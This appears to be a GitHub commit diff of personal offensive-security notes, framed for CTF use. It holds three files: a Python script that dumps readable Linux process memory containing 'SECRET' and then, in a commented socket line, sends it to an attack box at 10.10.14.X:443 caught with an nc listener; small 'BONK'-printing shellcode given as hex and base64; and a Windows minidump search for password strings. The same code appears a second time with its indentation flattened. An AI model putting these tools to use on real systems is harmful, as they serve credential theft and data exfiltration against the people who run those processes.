AlLongley · August 11, 2024 07:39
diff --git a/HAX.md b/HAX.md
diff --git a/linux_exfil_process_memory.py b/linux_exfil_process_memory.py
 #! /usr/bin/env python3
 import sys,re,socket,os,pty;

 '''
 Open process `pid` and iterate through all readable memory maps and grab a copy
 Useful for exfiltrating sensitive processes on remote CTF hosts to pipe back to hackerbox for offline analysis of secrets
 '''

 pid = 1234

 # maps contains the mapping of memory of a specific project
 map_file = f"/proc/{pid}/maps"
 mem_file = f"/proc/{pid}/mem"

 needle = b"SECRET"
 out = b''
 # iterate over regions
 with open(map_file, 'r') as map_f, open(mem_file, 'rb', 0) as mem_f:
    for line in map_f.readlines():  # for each mapped region
        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
        if m.group(3) == 'r':  # readable region
            start = int(m.group(1), 16)
            end = int(m.group(2), 16)
            mem_f.seek(start)  # seek to region start
            print(hex(start), '-', hex(end))
            try:
                chunk = mem_f.read(end - start)  # read region contents
                if needle in chunk:
                    out = out+chunk
            except OSError:
                print(hex(start), '-', hex(end), '[error,skipped]', file=sys.stderr)
                continue

 # do something with `out`
 with open(f"{pid}.dump",'wb') as fd:
    fd.write(out)
    
 # Pipe the process's memory back to an attack box
 # Catch it on the attack box with: 
 # nc -nlvp 443 > mem.dump

 #s=socket.socket();s.connect(("10.10.14.X",443));s.send(out);s.close()
diff --git a/linux_lol_memoryexec.md b/linux_lol_memoryexec.md
diff --git a/osint_snippets.md b/osint_snippets.md
diff --git a/print_BONK.S b/print_BONK.S
 ; PRINT "BONK" to stdout
 ;
 ; ELF binary ./print_BONK
 ; nasm -f elf64 print_BONK.S && ld -s -o print_BONK print_BONK.o
 ;
 ; HEX C (include) payload { 0x00, 0x00 }
 ; nasm print_BONK.S -o print_BONK.raw && xxd -i print_BONK.raw | tr -d "\n" ; echo
 ;
 ; { 0xeb, 0x1e, 0x5e, 0x48, 0x31, 0xc0, 0xb0, 0x01, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xfa, 0x48, 0x83, 0xc2, 0x06, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0x48, 0x83, 0xc0, 0x3c, 0x48, 0x31, 0xff, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,  0xff, 0x42, 0x4f, 0x4e, 0x4b, 0x0a, 0x00};
 ;
 ; \xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x89\xfa\x48\x83\xc2\x06\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x42\x4f\x4e\x4b\x0a\x00
 bits 64
 ;
 ; 6x5eSDHAsAFIicdIifpIg8IGDwVIMcBIg8A8SDH/DwXo3f///0JPTksKAA==

 global start
 start:
 jmp short message

 print:  ; syscall write(0, [arg[0]], mlen)
 pop rsi
 xor rax, rax
 mov al, 1
 mov rdi, rax
 mov rdx, rdi
 add rdx, mlen
 syscall

 exit:  ; syscall exit(0)
 xor rax, rax
 add rax, 60
 xor rdi, rdi
 syscall

 message:
 call print
 msg: db  'BONK',0x0A, 0x00
 mlen equ $ - msg
diff --git a/windows_minidump_memory_search.py b/windows_minidump_memory_search.py
 from minidump import minidumpfile
 import string 

 mdf = minidumpfile.MinidumpFile.parse("BONK.dmp")
 segments = mdf.memory_segments.memory_segments

 def str_find_all(a_str, sub):
    start = 0
    while True:
        start = a_str.find(sub, start)
        if start == -1:
            return
        yield start
        start += 1

 data = b''

 for segment in segments:
    data += segment.read(segment.start_virtual_address, segment.size, mdf.file_handle)

 # Print whole stream of all printable characters in the memory dump
 # print(''.join([chr(x) for x in data if chr(x) in string.printable]))

 # Print all instances in memory of a given keyword
 for i in str_find_all(data,b"ssword"):
    print(data[i-10:i+20])
	#! /usr/bin/env python3
	import sys,re,socket,os,pty;

	'''
	Open process `pid` and iterate through all readable memory maps and grab a copy
	Useful for exfiltrating sensitive processes on remote CTF hosts to pipe back to hackerbox for offline analysis of secrets
	'''

	pid = 1234

	# maps contains the mapping of memory of a specific project
	map_file = f"/proc/{pid}/maps"
	mem_file = f"/proc/{pid}/mem"

	needle = b"SECRET"
	out = b''
	# iterate over regions
	with open(map_file, 'r') as map_f, open(mem_file, 'rb', 0) as mem_f:
	for line in map_f.readlines(): # for each mapped region
	m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
	if m.group(3) == 'r': # readable region
	start = int(m.group(1), 16)
	end = int(m.group(2), 16)
	mem_f.seek(start) # seek to region start
	print(hex(start), '-', hex(end))
	try:
	chunk = mem_f.read(end - start) # read region contents
	if needle in chunk:
	out = out+chunk
	except OSError:
	print(hex(start), '-', hex(end), '[error,skipped]', file=sys.stderr)
	continue

	# do something with `out`
	with open(f"{pid}.dump",'wb') as fd:
	fd.write(out)

	# Pipe the process's memory back to an attack box
	# Catch it on the attack box with:
	# nc -nlvp 443 > mem.dump

	#s=socket.socket();s.connect(("10.10.14.X",443));s.send(out);s.close()
	; PRINT "BONK" to stdout
	;
	; ELF binary ./print_BONK
	; nasm -f elf64 print_BONK.S && ld -s -o print_BONK print_BONK.o
	;
	; HEX C (include) payload { 0x00, 0x00 }
	; nasm print_BONK.S -o print_BONK.raw && xxd -i print_BONK.raw \| tr -d "\n" ; echo
	;
	; { 0xeb, 0x1e, 0x5e, 0x48, 0x31, 0xc0, 0xb0, 0x01, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xfa, 0x48, 0x83, 0xc2, 0x06, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0x48, 0x83, 0xc0, 0x3c, 0x48, 0x31, 0xff, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff, 0xff, 0x42, 0x4f, 0x4e, 0x4b, 0x0a, 0x00};
	;
	; \xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x89\xfa\x48\x83\xc2\x06\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x42\x4f\x4e\x4b\x0a\x00
	bits 64
	;
	; 6x5eSDHAsAFIicdIifpIg8IGDwVIMcBIg8A8SDH/DwXo3f///0JPTksKAA==

	global start
	start:
	jmp short message

	print: ; syscall write(0, [arg[0]], mlen)
	pop rsi
	xor rax, rax
	mov al, 1
	mov rdi, rax
	mov rdx, rdi
	add rdx, mlen
	syscall

	exit: ; syscall exit(0)
	xor rax, rax
	add rax, 60
	xor rdi, rdi
	syscall

	message:
	call print
	msg: db 'BONK',0x0A, 0x00
	mlen equ $ - msg
	from minidump import minidumpfile
	import string

	mdf = minidumpfile.MinidumpFile.parse("BONK.dmp")
	segments = mdf.memory_segments.memory_segments

	def str_find_all(a_str, sub):
	start = 0
	while True:
	start = a_str.find(sub, start)
	if start == -1:
	return
	yield start
	start += 1

	data = b''

	for segment in segments:
	data += segment.read(segment.start_virtual_address, segment.size, mdf.file_handle)

	# Print whole stream of all printable characters in the memory dump
	# print(''.join([chr(x) for x in data if chr(x) in string.printable]))

	# Print all instances in memory of a given keyword
	for i in str_find_all(data,b"ssword"):
	print(data[i-10:i+20])